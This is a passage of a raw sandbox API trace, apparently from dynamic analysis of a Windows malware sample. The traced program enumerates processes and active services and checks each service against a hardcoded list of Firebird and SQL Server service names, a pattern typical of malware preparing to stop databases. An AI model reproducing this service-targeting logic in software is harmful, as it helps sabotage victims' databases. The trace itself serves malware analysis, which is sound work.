lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0228.982] lstrlenW (lpString="ShellHWDetection") returned 16 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0228.983] lstrlenW (lpString="Spooler") returned 7 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0228.983] lstrlenW (lpString="StateRepository") returned 15 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0228.983] lstrlenW (lpString="SysMain") returned 7 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0228.983] lstrlenW (lpString="SystemEventsBroker") returned 18 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0228.983] lstrlenW (lpString="Themes") returned 6 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0228.983] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0228.983] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0228.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0228.983] lstrlenW (lpString="TokenBroker") returned 11 [0228.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0228.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0228.983] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0228.983] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0228.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dc828 | out: hHeap=0x4f0000) returned 1 [0228.984] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac [0228.987] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.988] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.988] lstrlenW (lpString="System") returned 6 [0228.988] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.988] lstrlenW (lpString="smss.exe") returned 8 [0228.988] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.989] lstrlenW (lpString="csrss.exe") returned 9 [0228.989] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.989] lstrlenW (lpString="wininit.exe") returned 11 [0228.989] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.989] lstrlenW (lpString="csrss.exe") returned 9 [0228.989] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.990] lstrlenW (lpString="winlogon.exe") returned 12 [0228.990] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.990] lstrlenW (lpString="services.exe") returned 12 [0228.990] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.990] lstrlenW (lpString="lsass.exe") returned 9 [0228.990] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.991] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.991] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.991] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.991] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.991] lstrlenW (lpString="svchost.exe") returned 11 [0228.991] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.992] lstrlenW (lpString="svchost.exe") returned 11 [0228.992] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.992] lstrlenW (lpString="dwm.exe") returned 7 [0228.992] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.992] lstrlenW (lpString="svchost.exe") returned 11 [0228.992] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.993] lstrlenW (lpString="svchost.exe") returned 11 [0228.993] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.993] lstrlenW (lpString="svchost.exe") returned 11 [0228.993] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.369] lstrlenW (lpString="svchost.exe") returned 11 [0229.369] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.369] lstrlenW (lpString="svchost.exe") returned 11 [0229.369] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.369] lstrlenW (lpString="svchost.exe") returned 11 [0229.369] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.370] lstrlenW (lpString="svchost.exe") returned 11 [0229.370] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.370] lstrlenW (lpString="svchost.exe") returned 11 [0229.370] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.370] lstrlenW (lpString="svchost.exe") returned 11 [0229.370] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.371] lstrlenW (lpString="svchost.exe") returned 11 [0229.371] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.371] lstrlenW (lpString="spoolsv.exe") returned 11 [0229.371] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.371] lstrlenW (lpString="svchost.exe") returned 11 [0229.371] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.372] lstrlenW (lpString="audiodg.exe") returned 11 [0229.372] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.372] lstrlenW (lpString="svchost.exe") returned 11 [0229.372] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0229.372] lstrlenW (lpString="sihost.exe") returned 10 [0229.372] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0229.373] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0229.373] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0229.373] lstrlenW (lpString="Memory Compression") returned 18 [0229.373] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0229.373] lstrlenW (lpString="taskhostw.exe") returned 13 [0229.373] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0229.374] lstrlenW (lpString="userinit.exe") returned 12 [0229.374] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.374] lstrlenW (lpString="explorer.exe") returned 12 [0229.374] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0229.374] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0229.374] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0229.375] lstrlenW (lpString="SearchUI.exe") returned 12 [0229.375] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0229.375] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0229.375] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0229.375] lstrlenW (lpString="mobsync.exe") returned 11 [0229.375] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0229.376] lstrlenW (lpString="winhost.exe") returned 11 [0229.376] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.376] lstrlenW (lpString="cmd.exe") returned 7 [0229.376] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0229.376] lstrlenW (lpString="conhost.exe") returned 11 [0229.376] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0229.377] CloseHandle (hObject=0x4ac) returned 1 [0229.377] Sleep (dwMilliseconds=0x1f4) [0229.970] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0229.971] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0229.971] GetLastError () returned 0xea [0229.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5ddd08 [0229.972] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5ddd08, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5ddd08, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0229.972] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0229.972] lstrlenW (lpString="Appinfo") returned 7 [0229.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0229.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0229.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0229.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0229.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0229.972] lstrlenW (lpString="AppXSvc") returned 7 [0229.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0229.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0229.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0229.973] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0229.973] lstrlenW (lpString="Audiosrv") returned 8 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0229.973] lstrlenW (lpString="BFE") returned 3 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0229.973] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0229.973] lstrlenW (lpString="CDPSvc") returned 6 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0229.973] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0229.973] lstrlenW (lpString="CryptSvc") returned 8 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0229.974] lstrlenW (lpString="DcomLaunch") returned 10 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0229.974] lstrlenW (lpString="DeviceAssociationService") returned 24 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0229.974] lstrcmpiW 